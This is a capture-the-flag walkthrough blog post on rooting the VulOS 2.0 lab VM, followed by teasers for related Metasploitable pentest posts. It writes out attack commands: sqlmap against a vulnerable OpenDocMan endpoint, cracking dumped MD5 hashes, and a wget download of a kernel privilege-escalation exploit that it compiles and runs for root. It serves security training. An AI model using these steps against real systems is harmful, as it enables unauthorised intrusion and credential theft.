Chuyển đến nội dung chính

Hack the VulOS 2.0 VM (CTF Challenge)

“Your assignment is to pentest a company website, get root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.
netdiscover
And now we will run nmap to determine what services are running.

So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667.
As port 80 is open that means we can open it in browser.

Now there is link on this webpage. Let’s open it and it will link to the following page.

In this webpage there are various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document. When you look into the page source there will be line saying “jabd0cs/ on the server. Just log in with guest/guest.”
So, I opened the directory and logged in with guest:guest as username:password respectively. And there was an upload option but there was a restriction that you can only upload .doc file so it was pretty useless.
If you observe the log in page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.
Let’s search metasploit for the exploits to be use against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7

Above is the exploit’s detail. Now we will use sqlmap to find out database of usernames and passwords and for that type:
sqlmap –u ‘http://192.168.0.102/jaabcd0cs/ajax_udf.php?q=1&add_value=odm_user’ –dbs
The sqlmap command will show us all the tables in the database.

Including the username and passwords as shown below.

As you can see that the password is in MD5 hash value. We can crack it online no third party tool is needed. Simply go to www.md5decrypt.org
Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali anfd type:
And then give the password when asked and you will have a session. Let’s check the version of kernel to see if it vulnerable or not.
lsb_release -a
The version is 14.04 that means it can be exploited and we only need to download its exploit from www.exploit-db.com
Type the following command to download it :
wget https://www.exploit-db.com/download/37292
As the exploit is downloaded, now as always we need to move it then compile it and then run it. And for that the set of commands is :
mv 37292 shell.c
gcc –o shell shell.c
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory :
cd /root
Lets check what files and folders it is holding.
ls
And here you will a flag.txt. Read it!
cat flag.txt

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast
Nhãn:

Bài đăng phổ biến từ blog này

Pentest lab - Metasploitable 2

Today I will walk through different ways of exploiting Metasploitable 2, the newer release of Rapid7’s popular vulnerable machine. First, what is Metasploitable? Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. In my lab environment, the IP of the attacker machine is 192.168.127.159, and the victim machine is 192.168.127.154. Since this is a test lab, I won’t be concerned about stealth. Instead, I will try to get the most information out of the scans. Let’s start by port scanning the target with nmap. I did a full port, aggresive scan against the target. Here are the results. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 ...
Đọc thêm

Metasploitable 2 vulnerability assessment

A vulnerability assessment is a crucial part in every penetration test and is the process of identifying and assessing vulnerabilities on a target system. In this part of the tutorial we will be assessing the vulnerabilities available on the network side of the Metasploitable 2 virtual machine. We will be assessing the web applications on the Metasploitable 2 machine in a later tutorial. In the previous Metasploit enumeration and fingerprinting tutorial we’ve learned that the Metasploitable 2 machine contains a lot of vulnerabilities. We have collected valuable information about the target system which we will be using to find known vulnerabilities both on- and offline. Exploitation of these vulnerabilities will be demonstrated in the next exploitation tutorial. In this tutorial we will be looking at a few different ways to perform vulnerability analysis. We will be manually searching for exploits, use scanning tools like Nmap with scripts and we will be...
Đọc thêm

CEH v9 (CEHVIETNAM.COM) - Hacking Metasploitable Lab

CEH v9 : Hacking Metasploitable VM In this guide, I will demonstrate how to root a Metasploitable 2 virtual machine. Metasploitable is an intentionally vulnerable Ubuntu machine. I’ll explore just a few of the many ways Metasploitable can be attacked, from vulnerabilities in common services to little known exploits and web vulnerabilities. I’ve set up Kali Linux and Metasploitable VMs in VirtualBox on the same network (bridged mode). Kali – 192.168.56.101 Metasploitable – 192.168.56.102 - Hãy thay IP của bạn cho thích hợp Contents   1 Footprinting 1.1 Ping 1.2 Traceroute 2 Scanning 2.1 Port Scanning 2.2 OS Fingerprinting 2.2.1 nmap 2.2.2 xprobe2 3 Enumeration 3.1 FTP (TCP 21) Enumeration 3.2 Telnet (TCP 53) Enumeration 3.3 SMTP (TCP 25) Enumeration 3.4 VNC (TCP 5900) Enumeration 3.5 X11 (TCP 6000) Enumeration 3.6 RLogin (TCP 513) Enumeration 3.7 IRC (TCP 6667) Enumeration 4 Exploitation 4.1 FTP Exploit 4.2 VNC Password Cracking 4.3 IRC E...
Đọc thêm